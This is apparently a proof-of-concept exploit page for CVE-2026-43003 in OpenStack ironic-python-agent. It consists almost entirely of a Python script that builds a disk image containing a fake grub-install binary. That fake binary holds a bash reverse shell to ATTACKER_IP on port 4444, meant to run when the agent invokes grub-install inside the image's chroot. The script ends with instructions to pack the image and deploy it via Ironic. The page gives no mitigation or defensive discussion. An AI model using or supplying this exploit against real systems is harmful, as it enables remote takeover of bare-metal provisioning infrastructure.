CVE-2026-43003 OpenStack ironic-python-agent代码执行漏洞

# PoC Concept: Malicious Image Generation for CVE-2026-43003 # This script demonstrates how to craft a malicious image component. # When IPA runs grub-install inside the chroot of this image, # the malicious payload will be executed. import os def build_malicious_image_structure(): # Path representing the root of the image to be deployed image_root = "./malicious_disk_image" # Ensure directory exists os.makedirs(f"{image_root}/usr/bin", exist_ok=True) # Create a malicious grub-install wrapper or replace a critical binary # In a real exploit, this might involve replacing shared libraries or hooks malicious_code = """#!/bin/bash # Malicious payload executed by IPA during grub-install # Example: Reverse shell or data exfiltration echo "[+] Exploiting CVE-2026-43003..." # Command execution logic here /bin/bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 """ # Write the malicious binary with open(f"{image_root}/usr/bin/grub-install", "w") as f: f.write(malicious_code) # Make it executable os.chmod(f"{image_root}/usr/bin/grub-install", 0o755) print(f"[+] Malicious image structure created at {image_root}") print("[+] Pack this directory into an image and deploy via OpenStack Ironic.") if __name__ == "__main__": build_malicious_image_structure()